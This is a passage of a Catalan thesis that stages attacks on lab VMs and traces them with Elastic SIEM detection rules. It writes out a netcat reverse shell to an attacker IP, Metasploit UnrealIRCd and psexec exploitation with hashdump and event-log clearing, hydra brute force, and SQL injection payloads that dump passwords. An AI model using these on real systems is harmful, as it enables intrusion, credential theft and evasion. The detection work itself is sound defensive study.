Una de les regles més bàsiques que detectaria seria l'anomenada "*Whoami Process Activity*" (Captura 56: Regla whoami), que permet detectar l'execució de la comanda *whoami*. Aquesta comanda proporciona informació sobre qui és l'usuari que executa el script, així com els seus privilegis. Per defecte, és una comanda que no s'utilitza freqüentment pels usuaris, però, en canvi, aporta informació valuosa durant l'execució de scripts.

Si l'habilitem, fent clic sobre el botó *active* que apareix a la part superior de la finestra i executem la comanda al servidor Windows, podem veure que un cop s'executi la política apareix aquesta nova *signal* (Captura 57: Detecció del signal whoami).

Signal count		Stack by	signal.rule.risk_score V
Showing: 1 signal			
1 0.9 0.8 0.7			• 21 1
0.6 0.5 0.4 0.3 0.1 0	Signals		
04-10 11:00	Showing 1 signal Selected 0 signals G Close selected 🔓 Select all 1 signal		04-11 11:00
	☐ III @timestamp ↓ Rule Version Method Severity P	Risk Score	
	□ 🖧 🚱 >   Apr 11, 2020 @ 11:26:05.292    Whoami Process Activity    1    query    low	21	

Continuant amb l'entorn Windows, una altra de les regles que podem activar és la "Volume Shadow Copy Deletion via VssAdmin" (Captura 58: Regla volume shadow copy). La comanda vssadmin ens permet realitzar backups d'unitats mitjançant el Volume Shadow Copy. És possible que, mitjançant un atac de ransomware o algun altre atac destructiu, una de les accions que realitzi sigui eliminar aquests backups. Per tal de simular-ho, ho podem fer amb les següents comandes (Captura 59: Creació i eliminació amb vssadmin):

vssadmin create shadow /for=c: vssadmin list shadows vssadmin delete shadows /all Un cop s'executi la regla, podrem veure que, efectivament, apareix aquesta nova signal (Captura 60: Detecció de signal volume shadow copy).

μ.	Signai count								Stack by	signal.rule.risk_score	~
50	Showing: 2 signals										
â	1 0.9										• 21 0
8	0.8										• 73 0
Ð	0.5										
Signals											
orgridio							04-11	11:30	04-11 11:45	04-11 12:00	
Showing 2 signals	Selected 0 signals G Close	selected 🔓 Select all 2 signal	5								
<ul> <li>III</li> </ul>	@timestamp ↓	Rule	Version	Method	Severity	Risk Score					
0 # @ >	Apr 11, 2020 @ 11:48:41.310	Volume Shadow Copy Del	13	query	high	73					
🗆 🖧 🚯 🔪	Apr 11, 2020 @ 11:26:05.292	Whoami Process Activity	1	query	[low	21					

També hi ha regles precreades que ens permeten detectar anomalies als entorns Linux. Un exemple d'aquesta seria l'anomenada "*Nmap Process Activity*" (Captura 61: Regla nmap). Aquest procés s'utilitza freqüentment per realitzar escàners de xarxes i ports oberts. Si executem la comanda (Captura 62: Execució de nmap):

nmap -sS 192.168.43.103

Podem veure que, efectivament, apareix la signal (Captura 63: Detecció del signal nmap).



### 5.2.5.2. Creació de regles

Com hem comentat en apartats anteriors, totes les regles de detecció es basen en consultes que es realitzen sobre la informació indexada que disposa ElasticSearch. Per tant, és possible crear regles personalitzades per nosaltres mateixos per tal de poder detectar anomalies.

Una regla interessant a crear seria la detecció de l'execució del *Netcat*<sup>11</sup>. En alguns atacs, és comú utilitzar aquest paquet per a obrir un *reverse shell* o un *shell* per tal de poder executar comandes a l'entorn de la víctima.

<sup>&</sup>lt;sup>11</sup> Netcat: utilitat que permet l'obertura de ports TCP/UDP i permet forçar connexions a un port concret.

El servidor atacant ha d'obrir un *socket* per on entrarà al *reverse shell* del servidor víctima (Captura 64: Reverse shell nc). Per poder simular aquest atac, executarem les següents comandes:

nc -nvlp 4444

Pel que fa al servidor víctima, amb algunes versions específiques del *nc* és possible utilitzar el *flag* "-e" que permet executar un programa en el moment que s'estableix la comunicació. No obstant això, aquest *flag* no apareix en tots els paquets del *nc*. Per tal de solucionar aquest "problema", podem realitzar una tasca similar amb les següents comandes executades al servidor de la víctima (Captura 61):

mknod /tmp/backpipe p /bin/sh 0</tmp/backpipe | nc 192.168.43.142 4444 1>/tmp/backpipe

Per tal de detectar aquest procés, ho podrem fer mitjançant la següent consulta (Captura 65: Consulta d'utilització de nc):

process.name: (nc or ncat or netcat or netcat.openbsd or netcat.traditional) and event.action: ("process\_started")

Per tant, crearem una regla amb aquesta consulta. Inicialment, li indicarem quin és l'*index-pattern* que es pot localitzar i, seguidament la consulta (Captura 66: Creació de regla 1). Després, indicarem el nom de la regla, així com una breu descripció. Li indicarem la criticitat i la puntuació de risc: (Captura 67: Creació de regla 2). En últim lloc, tan sols haurem d'indicar cada quant volem que s'executi la detecció i quina és la franja de temps a analitzar. (Captura 68: Creació de regla 3).

Si tornem a realitzar les mateixes comandes, un cop es processi la regla, apareixerà la *signal* oportuna (Captura 69: Signal d'utilització nc):

Signal count	Stack by signal.rule.risk_score	~
3 - 26 - 22 - 18 - 14 -		• 21 0 • 47 1
1	Signals Stowing 5 signals Selected 0 signals Select	
	III     @timestamp ↓     Rule     Version     Method     Severity     Risk Score	
	🗌 📩 🚯 🖒    Apr 11, 2020 @ 14:04-25:123    Nmap Process Activity    1    query    Iow    21	

Una altra regla interessant a crear seria la detecció d'un escàner de ports remots, per fer-ho, ens podem aprofitar de la detecció que realitza el Suricata. Com hem comentat, aquesta detecció ens apareixerà en mode d'*alert*. No obstant això, també podem crear una regla perquè ens aparegui la *signal*.

Des d'un servidor atacant, executem la següent comanda (Captura 70: Port scan):

nmap 192.168.43.103

Podem veure que, efectivament, ens ha aparegut una alerta (Captura 71: Alerta de port scan). Mitjançant *drag and drop* dels diferents camps de l'alerta, li assignem un nom per guardar la *timeline* (Captura 72: Consulta de port scan).

A continuació, creem una nova regla. Primer li indicarem quin és l'*índex-pattern* a consultar i, seguidament, farem clic sobre "*Import Query from Saved Timeline*" (Captura 73: Creació de regla port scan 1). Després, indicarem el nom de la regla, una descripció, la criticitat i el *risk score*. (Captura 74: Creació de regla port scan 2). En últim lloc, la periodicitat que volem que s'executi i la franja del temps que recull (Captura 75: Creació de regla port scan 3). Guardem i activem la regla.

Si tornem a executar la comanda anterior de nou, apareixerà la nova signal (Captura 76: Signal de port scan).

Signal count	:						S	tack by signal.rule.	risk_score	~
7 6 - 5 - 4 - 3 - 2 - 1 - 0 -	Signals									<ul><li>60</li><li>21</li><li>47</li></ul>
04-11 14:00	Showing 12 signals	Selected 0 signals	e selected 🔓 Select all Rule	12 signals Version	Method	Severity	Risk Score	event.module		
	□ 👬 🚳 >	Apr 12, 2020 @ 13:28:30.491	Port_Scan	1	query	medium	60	suricata		

## 5.2.6. Anàlisis d'atacs

Com hem vist en els punts anteriors, l'anàlisi de *logs*, així com la detecció de signals, es realitza mitjançant l'elaboració de consultes sobre la informació indexada que conté l'ElasticSearch.

Per tal de continuar provant el funcionament de l'Elastic SIEM, en els següents apartats realitzaré diferents atacs als diferents entorns per detectar-los i realitzar un seguiment mitjançant l'Elastic SIEM.

### 5.2.6.1. Metasploitable 3: Ubuntu 14

Per tal de realitzar una prova d'intrusió, un dels primers passos que es poden fer és realitzar un anàlisi de ports per tal de poder obtenir informació sobre els diferents serveis que està executant el servidor. Podem realitzar l'escàner de ports amb la següent comanda, on es guardarà la sortida en un arxiu en format xml (Captura 77: Realització del nmap):

nmap -sV -Pn -T4 -p 1-65535 -oX metasploitable3.xml 192.168.43.103

Un cop executada aquesta comanda, ja podem detectar diferents alarmes que provenen del Suricata, indicant que s'han detectat possibles "*Web Applications Attacks*" (Captura 78: Elastic SIEM detecció d'alarmes). També podem veure que han aparegut diverses *signals* provinents de la regla *Port\_Scan* que he creat a l'apartat anterior (Captura 79: Elastic SIEM detecció signal).

Amb aquesta informació, l'organització ja pot tenir una idea que alguna cosa està passant a la seva infraestructura. Si analitzem un dels esdeveniments en més detall i ens fixem en el camp "suricata.eve.alert.signature", ens indica que s'ha detectat "ET SCAN Nmap Scripting Engine User-Agent Detected (Nmap Scripting Engine)" (Captura 80: Elastic SIEM detall d'alarma).

Si filtrem en aquesta franja horària i ens dirigim a la finestra, podrem veure els esdeveniments detectats pels diferents agents en aquest període de temps (Captura 81: Elastic SIEM: Detecció de paquets de PacketBeat). Gràcies al PacketBeat, podem veure que s'han enviat paquets a diferents ports com seria el 8181, el 631 o el 3500.

No obstant això, si analitzem mitjançant el timeline, tan sols s'ha detectat un procés amb l'AuditBeat durant aquesta franja horària, això fa pensar que no s'ha aconseguit l'accés (Captura 82: Elastic SIEM: timeline nmap).

× ☆	Untitled 1	imeline	Description		P No	tes 0	6	~ ^	pr 13, 2	:020 @	12:47:	→ Apr 1	3, 2020	@ 12:4		් Ref	iresh	
OR Drop here	not agent	Ltype: "packe	tbeat" X AND n	it agent.t	ype: "fileb	eat" ×	0 hostr	ame: '	metasp	oitable3	ub1404*	×						
AND F	Filter 🗸	∎v s	earch											KQL	•	Raw ev	ents	``
i≣ Co	lumns ⊜l	imestamp ↓ Ipr 13, 2020 (	mes 9 12:47:35.680 Pro 2 root @ me	sage cess smbi tasploitat	d (PID: 250 ble3-ub141 # b21	ever 00) b   04 In [12 f158e8030f9	nt.category	id proc	ess 3adad3	event.a   proci . smbd 22e9d6	ection rss_stopp (2500	oed D) sr	hd mbd	netasploi	table3-	ub1404	9	our
	iumns (Pi Ț (C)   j Ț (C)   j	imestamp ↓ lpr 13, 2020 ( Apr 13, 2020 ( 	mes 12-47:35.680 Pro 5 root  m 12-47:25.637 Pro 12-47:25.637 Pro metasploitable3-	sage cess smbr tasploitat cess smbr ab1404	d (PID: 250 ble3-ub14l Pro d (PID: 250 in Pro	ever 00) b [- 04] in [] P 1158+8030f9 cess smbd () 00) b [- ] started pr 1158+8030f9 cess smbd ()	At.category	d proc le650t by use . smbd le650t by use	ess 3 3adad3 r root S1 3adad3 r root S1	event.a  proci smbd 22e9d6 OPPED  proci 000    22e9d6 ARTED	ection rss_stopp (2500 ess_starte smbd	ed D) si ed	ho mbd [	metaspiol -F metaspiol t process	table3- table3- (715	ub1404 ub1404	5	our

Un cop analitzada aquesta informació a través d'Elastic SIEM, continuarem amb la prova d'intrusió.

Al servidor *kali*, accedirem a la consola de "*Metasploit Framework Console*" i importarem la informació obtinguda del *nmap* (Captura 83: Importar informació de la Metasploit framework console)

db\_import metasploitable3.xml

Podrem veure els serveis detectats amb el *nmap* (Captura 84: Llistar serveis del Metasploit framework) executant la següent comanda:

services

#### 5.2.6.1.1. UnrealIRCD

Un dels serveis que podem veure que està obert és l'*UnrealIRCD*. Existeix una vulnerabilitat en les versions 3.2.8.1 que permet obrir una *backdoor* per executar codi remot (<u>CVE-2010-2075</u>). Mitjançant la *Metasploit Framework Console*, provarem de realitzar l'*exploit* d'aquesta vulnerabilitat. Per fer-ho, executarem les següents comandes:

set rhost 192.168.43.103 set rport 6697 set payload cmd/unix/reverse\_ruby set lhost 192.168.43.142 set lport 2345 run

Un cop executat (Captura 85: Exploit unreal\_ircd\_3281\_backdoor), podem veure que, efectivament, hem pogut explotar la vulnerabilitat i hem aconseguit accés al servidor. Passem a veure amb l'Elastic SIEM si s'ha detectat alguna anomalia. Si ens dirigim a la finestra de detecció, podem veure que no ha aparegut cap alarma, això significa que el Suricata no ha detectat cap anomalia (Captura 86: No alarma de l'unreal\_ircd\_3281\_backdoor).

Si continuem investigant, accedim a la finestra *hosts* i anem a la pestanya on es mostra la llista de processos no comuns, podem veure que l'usuari *boba\_fett* ha executat algun procés *ruby* (Captura 87: Processos no comuns de l'unreal\_ircd\_3281\_backdoor 1). Si fem clic sobre +3 more (Captura 88: Processos no comuns de l'unreal\_ircd\_3281\_backdoor 2), podem veure que ha creat una comunicació a una màquina amb la IP 192.168.43.142 pel port 2345, que no pertany a l'organització.

Jncol	mmon processes	
Showing: 2 p	rocesses	
Process n	- realist	ıser
apache2	<ul> <li>-souccet</li> <li>-e</li> <li>exit if fork;c=TCPSocket.new("192.168.43.142","2345");while(cmd=c.gets);10,popen(cmd,"r"){[io]c.print io.read}end</li> </ul>	v-data
ruby	+3 More	"Ja_fett

Si realitzem una timeline amb la consulta Destination.port: "2345" de connexions cap al port 2345 que hem vist, podem veure que efectivament s'ha establert una connexió en aquest port (Captura 89: Timeline del port 2345 unreal ircd 3281 backdoor 1). També podem veure un esdeveniment que genera el Suricata, on s'indica que s'ha mantingut una comunicació oberta durant segons aproximadament (Captura 90: Timeline del port 19 2345 unreal\_ircd\_3281\_backdoor 2).

Tenint aquesta informació, i gràcies al camp *event.start* i *event.end* del mateix esdeveniment del Suricata, podem indicar que la bretxa de seguretat ha estat entre les 19:31:38 i les 19:31:58. No obstant això, no s'ha registrat l'esdeveniment fins a les 19.42, cosa que fa pensar que s'ha establert la comunicació i s'ha deixat inicialitzada durant aquest període.

Si analitzem aquesta franja horària sense tenir en compte la informació de la xarxa amb la consulta *host.name: "metasploitable3-ub1404" and NOT event.category: "network\_traffic"*, (Captura 91: Timeline del procés ruby unreal\_ircd\_3281\_backdoor) podem veure que, des de la carpeta */opt/unrealircd/Unreal3.2*, s'ha llençat un procés amb *ruby* per obrir un *socket*.



En aquest cas podem veure que, si es revisen els *logs*, podem detectar que hi ha hagut una intrusió. No obstant això, la seva detecció ha estat possible gràcies a saber prèviament la franja horària en què ha succeït, ja que cap dels components que formen la plataforma ho ha detectat. Per poder detectar aquest *reverse proxy*, podem crear una *signal* amb la següent *query* (Captura 92: Regla de detecció unreal\_ircd\_3281\_backdoor):

process.args: ruby and process.args: "-rsocket"

Si de nou tornem a executar l'*exploit*, ens apareixerà aquesta nova *signal* que acabem de crear (Captura 93: Signal d'unreal\_ircd\_3281\_backdoor).

#### 5.2.6.1.2. Aplicació payroll\_app.php

Un altre dels serveis detectats amb el *nmap* és un servidor web que escolta pel port 80. Si accedim a ell podrem veure diferents aplicacions (Captura 94: Web servidor), una de les quals és *payroll\_app.php*.

Si accedíem a ella, podem veure que és un simple formulari que ens demana un usuari i una contrasenya (Captura 95: Pàgina login del payroll\_app.php). Un dels principals problemes amb els formularis és que no es controlin els tipus de caràcters que s'hi introdueixen, permetent realitzar atacs de *SQL Injection*. Per tal de comprovar si aquesta aplicació és vulnerable o no, introduirem al camp *user* la següent consulta (Captura 96: Prova d'SQL Injection):

' or 1=1#

Podem veure que, efectivament, l'atac ha tingut èxit i hem accedit a l'aplicació sense saber cap usuari ni cap contrasenya (Captura 97: Accés a l'aplicació sense contrasenya ni usuari). També podem veure que la web ha enviat com a paràmetre el valor introduït.

Vist aquest comportament, traurem més informació sobre la base de dades. Ho farem mitjançant la següent consulta (Captura 98: Consulta de relació de taules i columnes), que ens mostrarà les diferents taules, el nom de les columnes, així com el tipus:

<sup>&#</sup>x27; OR 1=1 UNION SELECT 1,1,1,CONCAT(TABLE\_NAME," - ", Column\_name," - ",Data\_type) FROM information\_schema.columns WHERE TABLE\_SCHEMA = DATABASE()#

Un cop accedit, si ens dirigim al final de la taula, podrem veure que la taula de la base de dades s'anomena *users* i una de les columnes s'anomena *password* (Captura 99: Resultat de la relació de taules i columnes).

Amb aquesta informació podem treure la relació entre *users* i *password* si realitzem la següent consulta (Captura 100: Relació usuari i contrasenya):

'OR 1=1 UNION SELECT null,null,username,password FROM users#

Una de les contrasenyes que es mostren és la de la usuària *leia\_organa* que és *help\_me\_obiwan*.

Si continuem tibant d'aquest fil, és molt probable que l'usuari local i l'usuari de la base de dades comparteixin la mateixa contrasenya. Per tant, provarem de connectar-nos al servidor mitjançant SSH amb la informació obtinguda (Captura 101: Accés mitjançant ssh amb l'usuari leia organa).

ssh leia\_organa@192.168.43.103

Podem veure que, efectivament, té la mateixa contrasenya i hem pogut accedir al servidor. En últim lloc, tan sols queda provar si és possible que aquesta usuària es pugui transformar en *root*. També ho hem aconseguit amb la següent comanda (Captura 102: Elevació de privilegis de leia\_organa):

sudo su vi /etc/hosts

Hem pogut accedir al servidor amb permisos d'administrador i modificar un arxiu de sistema gràcies a un *SQL Injection* realitzat a una aplicació no segura.

A continuació, es revisarà si Elastic SIEM ha detectat aquesta intrusió. Accedint a *overview*, podem veure que no s'ha detectat cap *signal* ni cap alarma (Captura 103: Finestra Overview).

Si accedim als *hosts* i seleccionem el *host* en qüestió, podem veure que només s'han detectat 2 *logins* de l'usuari *leia\_organa* (Captura 104: Autenticacions del host). Si continuem a l'apartat *Uncommon procecess*, veiem que s'ha connectat mitjançant SSH i ha realitzat *sudo* (Captura 105: Processos no comuns), un comportament normal si la usuària té permisos per fer-ho.

Authentications							
2							
04-15 18:10 04-15 18:15	04-15 18:20	04-15 18:25	04-15 18:30 04-15 18:35	04-15 18:40	04-15 18:45	04-15 18:50	04-15 1
Authentications							
User	Successes	Failures	Last success		Last success	sful source	
leia_organa	2	0	26 minutes ago		192.168.43	.142	

Deixem aquesta finestra i ens dirigim a *Network*, aquí podem veure una connexió des de la IP 192.168.43.142, una IP de fora de l'organització. Si indaguem una mica més amb aquesta dada, podem veure que una de les connexions que s'ha realitzat ha estat al servidor afectat mitjançant l'usuari *leia\_organa* (Captura 106: Informació de Network).

A continuació, busquem més informació sobre el servidor afectat fent clic sobre la IP. Si ens dirigim al panell HTTP *requests*, podem veure que s'han realitzat diverses sol·licituds a l'aplicació de *payroll\_app.php* (Captura 107: Detall source IP). Per continuar amb la investigació, crearem una *timeline* amb aquesta informació. Si fem clic sobre un dels esdeveniments, ens crida l'atenció que el camp *url.query* que s'ha utilitzat és estranya (Captura 108: Timeline de l'URL query):

OR Drop here	url.path: "/payro	ll_app.php" ×		
AND F	ilter 🗸 📳 🔪	<ul> <li>Search</li> </ul>		
i≣ Col		+ Add filter	message	event.category
	# source.port		 28384 ⊡	
	t status		ОК	The h proto
	t type		http	The t of flo
	t url.domain		192.168.43.103	
	<b>t</b> ∥url.full		http://192.168.43.103/payroll ? password=&s=OK&user=%27 3D1+UNION+SELECT+null%2 Cusername%2Cpassword+FF rs%23	_app.php +OR+1% 2Cnull%2 ROM+use

password=&s=OK&user=%27+OR+1%3D1+UNION+SELECT+null%2Cnull%2 Cusername%2Cpassword+FROM+users%23

Una altra informació interessant que mostra és que s'ha llençat aquesta *query* des de la IP 192.168.43.1<sup>12</sup> (Captura 109: Detall del timeline source IP).

Si filtrem per aquest interval de temps, ens dirigim a la finestra de *Hosts* i seleccionem el servidor en qüestió, podem veure que l'autenticació de la usuària ha estat aproximadament 6 minuts més tard.

Si ens dirigim a veure els esdeveniments i creem una *pipline* amb la següent *query*:

host.name: "metasploitable3-ub1404" and NOT event.category: "network\_traffic".

Podem seguir les tasques que s'han realitzat: podem veure que la usuària ha fet *login* des de la IP 192.168.43.142 (Captura 110: Timeline del host franja horària), a continuació podem veure que ha realitzat un *sudo* per elevar els permisos a *root* (Captura 111: Timeline d'accions 1) i també podem veure que ha editat el fitxer */etc/hosts* (Captura 112: Timeline d'accions 2). Si ens fixem en un dels

<sup>&</sup>lt;sup>12</sup> Aquesta IP s'assigna a l'equip que té allotjat el VMWare Workstation.

esdeveniments, podem veure que ha saltat l'alarma de *File Integrity*, que indica que l'arxiu s'ha modificat (Captura 113: Timeline d'accions 3).

Apr 15, 2020 @ 16:46:40.045 Login by User lela_orga	table3-ub1404 attempted a login	via (2632) with res
C Log	in by user leia_organa (UID: 1111) on	pts/2 (Pl
	Source 192.168.43.142	
Apr 15, 2020 @ 18:48:40.039	authentication	logged-in
ession / / / / / / / / / / / / / / / / / / /	user-login	authenticated
ession r 15, 2020 @ 18:51:00.735 - Session r 1 2 leia_organa @ met	user-login asploitable3-ub1404 authenticated us	authenticated
ession r 15, 2020 @ 18:51:00.735	user-login asploitable3-ub1404 authenticated us	authenticated

De nou, mitjançant Elastic SIEM hem pogut realitzar la traçabilitat de les accions que s'han realitzat en aquesta intrusió: hem vist que s'ha realitzat un SQL *injection*, s'ha accedit al servidor mitjançant un usuari, aquest ha elevat els permisos a *root* i ha modificat un arxiu de sistema. No obstant això, de nou no ha aparegut cap *signal* ni cap alarma que ens pugui fer pensar que s'ha patit una bretxa de seguretat.

Per tal de detectar aquest tipus d'atacs, podem afegir una regla a partir de la següent consulta (Captura 114: Creació de la regla SQL-Injection): url.guery : \*%27+OR+1%3D1\* or url.guery : \*%27+or+1%3D1\*

D'aquesta manera, si s'intenta de nou realitzar aquesta acció, ens apareixerà un *signal* (Captura 115: Detecció del signal SQL-Injection).

### 5.2.6.2. Metasploitable 3: Windows 2008 R2

Per tal de realitzar una prova d'intrusió, un dels primers passos que es poden fer és realitzar un anàlisi de ports per tal de poder obtenir informació sobre els diferents serveis que està executant el servidor. Podem realitzar l'escàner de ports amb la següent comanda, on es guardarà la sortida en un arxiu en format xml (Captura 116: Nmap de Windows i Captura 117: Nmap de Windows 2):

nmap -sV -Pn -T4 -p 1-65535 -oX winmetasploitable3.xml 192.168.43.104

#### 5.2.6.2.1. Força bruta i *exploit* mitjançant *psexec*

Un dels serveis que ens ofereix la màquina virtual és el SSH, escoltant pel port 22. Per tal d'aconseguir les credencials, és possible realitzar un atac per força bruta. Per això hem creat un diccionari amb la següent informació:

root toor msfadmin password123 password12345 amin @dm1n vagrant Seguidament, sabent que un dels usuaris que existeix a la màquina virtual s'anomena *vagrant*, realitzarem un atac de força bruta a través de l'aplicació *hydra*. La comanda a executar serà la següent (Captura 118: Obtenció de la contrasenya per força bruta):

hydra -I vagrant -P ssh\_wordlist.txt 192.168.43.104 ssh

Un cop finalitzi l'execució, podrem veure que la contrasenya de l'usuari vagrant és vagrant. Un cop disposem d'aquesta informació, el següent pas serà intentar aconseguir permisos d'administrador de la màquina. Per fer-ho, utilitzarem un *exploit* del *Metasploit Framework Console*, que, si es disposa d'un usuari i una contrasenya vàlida, és possible aconseguir permisos d'administració de l'entorn mitjançant la utilització del *psexec* (Captura 119: Exploit psexec). El *psexec* és una utilitat que permet executar processos de manera remota. Seguirem els següents passos (Captura 120: Accés al meterpreter).

msfconsole use exploit/windows/smb/psexec set rhost 192.168.43.104 set SMBUser vagrant set SMBPass vagrant run

Un cop hem accedit al *meterpreter*, podem obtenir els usuaris i els hash de tots els usuaris locals de l'entorn. (Captura 121: Hashdump) executant: run post/windows/gather/hashdump

Seguidament, mitjançant la comanda clearev, podrem netejar el visor d'esdeveniment de l'equip (Captura 122: Neteja del visor d'esdeveniments).

Amb aquest atac, haurem aconseguit obtenir accés al servidor amb un atac per força bruta al servei SSH, realitzar un *dump*<sup>13</sup> del *SAM Databases* que conté la informació de tots els usuaris i netejar el visor de successos per tal d'evitar possibles traces.

A continuació, realitzarem un seguiment d'aquesta intrusió des del mateix Elastic SIEM. Si revisem les deteccions, podem veure que s'ha detectat un *network trojan* mitjançant una alarma. Si ens fixem en la IP destí, podem veure que és la 192.168.43.104 (Captura 123: Alerta de network trojan). Si obrim aquest esdeveniment, podem veure en el camp *suricata.eve.alert.siganture* ens apareix la informació que és possible que sigui un *payload* del *Metasploit* (Captura 124: Signatura del Suricata).

<sup>&</sup>lt;sup>13</sup> Dump: procés que permet extreure i exportar informació.

@timestamp $\downarrow$	event.module	event.dataset	event.category
t suricata.eve.alert.ca	tegory	A Network Trojan was detec	ted
# suricata.eve.alert.gic	i	13	
t suricata.eve.alert.me	tadata.affected_product	Any	
t suricata.eve.alert.me	tadata.attack_target	Client_and_Server	
t suricata.eve.alert.me	tadata.created_at	2016_05_16	
t suricata.eve.alert.me	tadata.deployment	Datacenter Internal Internet Perimeter	
t suricata.eve.alert.me	tadata.former_category	TROJAN	
t suricata.eve.alert.me	rtadata.signature_severity	Critical	
t suricata.eve.alert.me	etadata.tag	Metasploit	
t suricata.eve.alert.me	etadata.updated_at	2018_07_09	
# suricata.eve.alert.rev	l l l l l l l l l l l l l l l l l l l	D.	
t suricata.eve.alert.sig	nature	ET MALWARE Possible Meta Common Construct Bind_AP	isploit Payload 1 (from server)
# suricata.eve.alert.sig	nature_id	2025644	
t suricata.eve.event_t	ype	alert	
		Two and the second second second	

Si accedim a la informació d'aquest host, podem veure que hi ha hagut molts intents fallits d'accés amb l'usuari *vagrant* i, l'últim accés acceptat, s'ha realitzat des de la IP 192.168.43.142 (Captura 125: Intents fallits d'accés amb un usuari).



Seguidament, si accedim als processos no comuns, podem veure que s'ha executat el procés *conhost.exe* i un *powershell* (Captura 126: Processos no comuns). Per tenir més detall d'aquesta informació, si accedim als esdeveniments d'aquest mateix *host*, podem veure més detall d'aquests processos (Captura 127: Detall dels processos).

18	@timestamp $\downarrow$	message	host.name	event.module	e event	.dataset	event.action	user.name	sou
>	Apr 18, 2020 @ 11:53:50.099	Process powershell.exe (PID:	winmetasploit3.mistic.lab	system	proc	ess	process_started	NT AUTHORITY\SYSTEM	A 1-
	S NT AUTHORITY\SYSTEM	@ winmetasploit3.mistic.	ab in 🖻 C:\Windows	started process	>_ powershell.exe	(5308)	C:\Windows\syswow64\WindowsPow	erShell\v1.0\powershell.exe	-noni
	-nop	-w hidden -c	&([scriptblock]::create((N	lew-Object S	ystem.IO.StreamReader(I	New-Object	System.IO.Compression.GzipStre	am((New-Object	
GxJh	FLEOilmjUJmpqULe4tvwqDk3MG	NQAWNpCHmAni9/gGREi8HCf	dKiqEN7z14z4ILOv+w7DLIF	5zvQ9c7BL7PLfH	Cx4fCBthkQBwQv3lL0G	C3IFmNCIQ/f	Yo2r+t7tfdl3Mi2ZE8iyIRWHM1ZRnfC5	QytjYw7JHoClQ/CdKPRVHJOL	kqE9iG/IW
				via parent p	process (6816)				
				044ad82d0b5fe9	2a4030fc6ee3d353b136	3a85fe			
			C Proc	ess powershell.exe	e (PID: 5308) by user NT	AUTH ass			

Filtrem per la franja horària d'aquests esdeveniments i creem una *timeline* amb la següent query: host.name: winmetasploit3.mistic.lab and agent.type: packetbeat and not destination.port: 9200 Podem detectar que s'han connectat al servei SSH d'aquest servidor des de la IP 192.168.43.142 de fora de l'organització. També aquest servidor s'ha connectat mitjançant el port 444 a la mateixa IP (Captura 128: Connexions amb SSH al servidor i Captura 129: Connexions des del servidor).

>	<b></b>	Þ	Apr 18, 2020 @ 11:53:50.583	netv	work_traffic	network_flow	winmetasploit3.m	istic.lab			
	G 475 70		3 47s 704.101600ms	38KB 342 pkts tcp 1:aCKBk/Ohn7QLCYH4nBziddtwVj0=							
			<ul> <li>Apr 18, 2020 @ 11:53:02.621</li> <li>Apr 18, 2020 @ 11:53:50.329</li> </ul>	Source	(27.02%) 10. (	3KB   148 pkts	Destination				
>	Ŧ	P	Apr 18, 2020 @ 11:53:50.583	netv	work_traffic	network_flow	winnetasploit3.m	istic.lab			
			Ons Ons	1.3KB   1	0 pkts   tcp	1:aNusL4RojeM4Zep5pfS+	LXJcFB4=				
		© Apr 18, 2020 @ 11:53:2 © Apr 18, 2020 @ 11:53:2		Source		898   6 pkts	Destination				

Si busquem més informació proporcionada pel Suricata durant aquest període de temps filtrant per suricata.eve.alert.category: A Network Trojan was detected, podem trobar més informació de com s'ha realitzat aquest atac. Ens apareix: "*ET POLICY Powershell Command With NonInteractive Argument Over SMB - Likely Lateral Movement*". Per tant, s'ha detectat que l'atac s'ha originat des del servei SMB (Captura 130: Origen de l'atac servei SMB).

Si busquem l'esdeveniment event.code:1102, podem veure que també s'ha realitzat una neteja del visor de successos (Captura 131: Neteja del visor d'esdeveniments).

Durant aquesta intrusió, hem pogut seguir el fil de totes les accions que s'han realitzat gràcies a l'alerta que ha llençat el Suricata. Inicialment, s'ha detectat el possible troià de la xarxa i, començant la revisió en aquesta franja horària, hem pogut realitzar un seguiment de les accions realitzades. No obstant això, per aconseguir aquesta traçabilitat ha estat necessari utilitzar tres Beats diferents: WinlogBeat, AuditBeat i PacketBeat.

Per tal de detectar aquest tipus d'intrusió, una de les primeres senyals que podem utilitzar és la del *Trojan Network* que ens indica el Suricata. Per tant, podem realitzar una *signal* amb la següent *query:* suricata.eve.alert.category: A Network Trojan was detected (Captura 132: Regla de network trojan del Suricata).

La següent *signal* que podem crear és la que correspon al procés *powershell* executat, podem utilitzar la següent query: process.hash.sha1 : "c044ad82d0b5fe92a4030fc6ee3d353b136a85fe".

Si de nou tornem a executar aquesta intrusió, ens apareixeran les *signals* creades (Captura 134: Signal hashdump i network trojan).

#### 5.2.5.3. Web Security Dojo

Com s'ha comentat anteriorment, aquesta distribució esta pensada per realitzar proves d'intrusió web.

#### 5.2.5.3.1. SQL Injection

Una de les principals vulnerabilitats que es poden trobar en una aplicació web és l'existència de formularis que permeten realitzar atacs de *SQL Injection*. La de *Owasp Juice Shop*, que ens ofereix aquesta distribució, no és una excepció. Provarem de realitzar una *SQL Injection* al formulari de *login* que podem localitzar a la següent url:

http://192.168.43.105:3008/#/login

Per realitzar aquest atac, introduirem els següents valors, com es pot veure a la Captura 135: SQL-Injection:

Email: ' or 1=1;--Password: aaa Un cop fem clic sobre *login*, podrem veure que hem pogut accedir a l'aplicació com a administrador (Captura 136: Login SQL-Injection).

Si analitzem aquest cas amb l'Elastic SIEM, podem veure que han aparegut dues alertes al Suricata. No obstant això, aquestes alertes fan referència a accions que realitza la mateixa web, no tenen a veure amb la intrusió (Captura 137: Alertes del Suricata).

Com que és una aplicació web, podem veure més detall de les transaccions que es realitzen si accedim a l'apartat *Network* i ens dirigim a HTTP *Requests*. En aquest apartat, podem veure que s'ha fet una crida al */rest/user/login* (Captura 138: HTTP Requests).

Si realitzem una timeline amb aquest camp, podem veure que apareix un registre que prové del mateix servidor (Captura 139: Registre APM 1) i, si entrem en més detall, podem veure que aquesta informació es troba a l'índex de l'APM (Captura 140: Registre APM 2). Si continuem revisant els detalls, podem veure que en el camp http.request.body.original apareix el valor "{"email":" or 1=1;--","password":"aaa"}" (Captura 141: Registre APM ).

thtp.request.body.original	{"email":"" or 1=1; ","password":"aaa"}
③ http.request.headers.Accept	application/json, text/plain, */*

Per tal de detectar aquesta intrusió, podríem pensar a crear una *signal* filtrant per aquest valor. No obstant això, no és possible utilitzar aquest camp. Si afegim aquest camp al *timeline*, tot i estar dins de la mateixa franja horària, no ens retorna cap valor, tal com podem veure a la Captura 142: No filtratge per camp. Elastic SIEM. El motiu de no poder realitzar cerques per aquest camp, és que no forma part de l'*Elastic Common Schema*.

#### 5.2.5.3.2. Atac XSS

